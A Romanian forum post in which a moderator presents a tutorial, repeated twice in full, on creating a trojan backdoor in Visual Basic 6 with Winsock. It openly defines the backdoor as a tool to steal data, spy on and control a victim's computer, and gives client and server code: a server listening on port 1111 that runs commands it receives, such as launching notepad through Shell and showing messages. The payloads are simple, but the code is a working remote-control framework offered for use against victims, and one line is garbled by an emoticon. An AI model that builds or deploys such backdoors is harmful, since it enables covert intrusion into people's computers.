[Tutorial] Crearea unui BackDoor in VB6
suceava forum :: Discutii libere :: IT&C
Pagina 1 din 1
[Tutorial] Crearea unui BackDoor in VB6
Sa incepem .
Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .
Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .
Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .
Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .
Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .
Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?
Private Sub Form_Load()
On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .
Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )
Winsock1.Listen ' Setam serverul sa astepte date de la client
End Sub
Serverul va trebui rulat . Apoi in client , ne conectam la server :
Private Sub Command1_Click()
On Error Resume Next ' La fel
Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista
Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 .
Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server
Winsock1.Connect ' Conectam clientul la server
End Sub
In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .
Private Sub Winsock1_Connect()
Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .
End Sub
In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Form1.Caption = "Eroare la conectare"
End Sub
Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista
Winsock1.Accept requestID ' Acceptam conexiunea de la client
End Sub
Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .
Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .
Private Sub Command2_Click()
On Error Resume Next
Winsock1.SendData "notepad" ' Trimitem stringul "notepad"
End sub
La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String ' Declaram variabila date_primite de tipul string
Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite .
If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .
Shell "notepad.exe" ' Deschidem notepad .
End If ' Inchidem instructiunea If
End Sub
Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .
Mai puneti pe Form un buton si un TextBox .
Private sub Command3_click()
On Error Resume Next
Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .
End Sub
In server vom procesa datele primite :
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String
Dim Vector() As String ' Declaram vectorul Vector() de tip string .
Winsock1.GetData date_primite
Vector() = Split(date_primite,"|"smiley ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .
If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"
MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.
End If
End Sub
Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :
0 - sckClosed - Conexiunea e inchisa
1 - sckOpen - Conexiunea e deschisa
2 - sckListening - Conexiunea e in asteptare
3 - sckConnectionPending - Conexiune in desfasurare
4 - sckResolvingHost - In curs de rezolvare
5 - sckResolved - Sistem gazda rezolvat
6 - sckConnecting - Se conecteaza
7 - sckConnected - Conectat
8 - sckClosing - Se inchide conexiunea
9 - sckError - Eroare
Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .
Private Sub Command2_Click()
If Winsock1.State <> 7 ' State-ul este 7 daca este conectat
MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .
Else: Winsock1.SendData "notepad"
End If
End Sub
Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori .
Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc .
Sper ca ati inteles .
Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .
Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .
Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .
Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .
Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .
Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?
Private Sub Form_Load()
On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .
Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )
Winsock1.Listen ' Setam serverul sa astepte date de la client
End Sub
Serverul va trebui rulat . Apoi in client , ne conectam la server :
Private Sub Command1_Click()
On Error Resume Next ' La fel
Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista
Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 .
Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server
Winsock1.Connect ' Conectam clientul la server
End Sub
In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .
Private Sub Winsock1_Connect()
Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .
End Sub
In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Form1.Caption = "Eroare la conectare"
End Sub
Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista
Winsock1.Accept requestID ' Acceptam conexiunea de la client
End Sub
Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .
Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .
Private Sub Command2_Click()
On Error Resume Next
Winsock1.SendData "notepad" ' Trimitem stringul "notepad"
End sub
La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String ' Declaram variabila date_primite de tipul string
Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite .
If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .
Shell "notepad.exe" ' Deschidem notepad .
End If ' Inchidem instructiunea If
End Sub
Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .
Mai puneti pe Form un buton si un TextBox .
Private sub Command3_click()
On Error Resume Next
Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .
End Sub
In server vom procesa datele primite :
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String
Dim Vector() As String ' Declaram vectorul Vector() de tip string .
Winsock1.GetData date_primite
Vector() = Split(date_primite,"|"smiley ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .
If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"
MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.
End If
End Sub
Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :
0 - sckClosed - Conexiunea e inchisa
1 - sckOpen - Conexiunea e deschisa
2 - sckListening - Conexiunea e in asteptare
3 - sckConnectionPending - Conexiune in desfasurare
4 - sckResolvingHost - In curs de rezolvare
5 - sckResolved - Sistem gazda rezolvat
6 - sckConnecting - Se conecteaza
7 - sckConnected - Conectat
8 - sckClosing - Se inchide conexiunea
9 - sckError - Eroare
Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .
Private Sub Command2_Click()
If Winsock1.State <> 7 ' State-ul este 7 daca este conectat
MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .
Else: Winsock1.SendData "notepad"
End If
End Sub
Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori .
Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc .
Sper ca ati inteles .
Max- Moderator
- Numarul mesajelor : 53
Varsta : 37
Localitate : Confidential
Stare de spirit : Rakiu
Data de inscriere : 23/08/2008
suceava forum :: Discutii libere :: IT&C
Pagina 1 din 1
Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum